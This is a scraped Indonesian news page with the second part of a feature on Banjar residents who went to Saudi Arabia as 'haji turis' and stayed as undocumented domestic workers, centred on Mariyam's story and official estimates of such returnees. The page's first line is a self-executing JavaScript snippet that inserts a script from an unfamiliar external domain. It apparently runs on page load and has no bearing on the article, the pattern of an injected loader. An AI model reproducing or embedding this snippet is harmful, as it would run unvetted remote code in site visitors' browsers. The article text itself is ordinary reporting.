(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Balada Haji Turis Banua (2)


“Minimal dimarahi. Majnun kata-kata paling sering diucapkan majikan karena pekerjaan dianggap tidak beres. Apalagi di awal-awal kerja, karena memang  belum mengeti bahasa Arab. Tapi setelah mengerti dan bisa bahasa Arab sikap kata-kata dan sikap kasar majikan berkurang,” kata Mariyam.

Berpenghasilan 1.000 Riyal per bulan, membuat Mariyam betah berlama-lama berada di negeri orang. Bahkan dua tahun kemudian, Jami, suaminya menyusul ke Arab Saudi. Juga sebagai Haji Turis. Di Mekkah, Jami bekerja di rumah seorang saudagar kaya.

“Kerjaanya khusus merawat  burung majikan,” ujar Mariyam.

Selain bekerja pada seorang majikan sebagai tukang urus burung, ujar Mariyam, sang suami  juga menjadi ‘agen’ khusus mengantar orang-orang yang ingin mencium Hajar Azwat atau dinding Ka’bah. Untuk jasanya tersebut, Jami menerima upah sebesar 500 Riyal.

Hingga akhirnya, Jami tertangkap oleh aparat kepolisian Arab Saudi saat sedang membawa orang yang ingin mencium Hazar Aswat. Lantaran tidak memiliki dokumen resmi sebagai, Jami dideportasi. Pengetatan aturan tenaga kerja ilegal oleh kepolisian Arab Saudi juga memaksa Mariyam kembali ke Kalampayan Tengah, Kecamatan Astambul tak lama setelah sang suami yang sudah lebih dulu dideportasi.

“Tahun 2010 saya kembali. Pengetatan aturan kepolisian Arab Saudi kala itu membuat banyak TKI yang masuk sebagai haji turis banyak tertangkap dan dipulangkan ke Indonesia. Dan Alhamdulillah selama menjadi TKI, saya juga sudah tunai syarat dan rukun haji,” ujar Hj Mariyam yang sudah menyandang gelar hajinya sepulangnya dari Arab Saudi.

Hj Mariyam hanya satu dari sekian banyak warga Banua yang bekerja di Arab Saudi dengan cara menjadi haji turis. Karena BP3TKI Banjarbaru memastikan, dibanding jalur resmi, jumlah TKI asal Kalsel yang menempuh cara menjadi haji turis lebih banyak.

Meski menurut Fachrizal, Kabid Penempatan dan Perlingdugan pada BP3TKI Banjarbaru, keberadaan TKI ilegal ini tak dapat terdeteksi selama di luar negeri. Para haji turis baru terdeteksi setelah kembali ke Indonesia yang salah satuya diketahui setelah dideportasi.

“Kalampayan Tengah dan Ulu memang yang paling banyak mantan TKI, atau juga disebut TKI Purna. Dari sekitar 600 TKI Purna yang ada di desa tersebut, sebagian besarnya adalah haji turis,” kata Fachrizal. (rudiyanto)


Page: 1 2

Desy Arfianty

Recent Posts

Nasdem-PKS Koalisi di Pilwali Banjarbaru, Darmawan Jaya Siap Tantang Petahana

KANALKALIMANTAN.COM, BANJARBARU - Nama Darmawan Jaya Setiawan menjadi orang pertama yang menyerahkan formulir pendaftaran penjaringan… Read More

11 jam ago

Kades Tumbang Mangkutup Apresiasi Kunjungan Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi bersama jajarannya menghadiri kegiatan silaturahmi… Read More

12 jam ago

Monte All Star Banjarmasin Juara Turnamen Paman Birin Trophy U-45 Puma Legend 2024

KANALKALIMANTAN.COM, BANJARBARU - Monte All Star dari Banjarmasin juara Turnamen Sepak Bola Paman Birin Trophy… Read More

13 jam ago

Pj Bupati Kapuas Erlin Hardi ke Desa Tumbang Mangkutup

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi bersilaturahmi dengan masyarakat Desa Tumbang… Read More

1 hari ago

Satgas TMMD Beri Penyuluhan Pertanian dan Perikanan di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Setelah program non fisik sosialisasi PHBS (Perilaku Hidup bersih Sehat) dan masalah… Read More

1 hari ago

Banjarbaru Posisi Kedua Klasemen Sementara Popda Kalsel 2024

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah cabang olahraga (cabor) unggulan membawa kontingen Kota Banjarbaru bertengger di posisi… Read More

1 hari ago

This website uses cookies.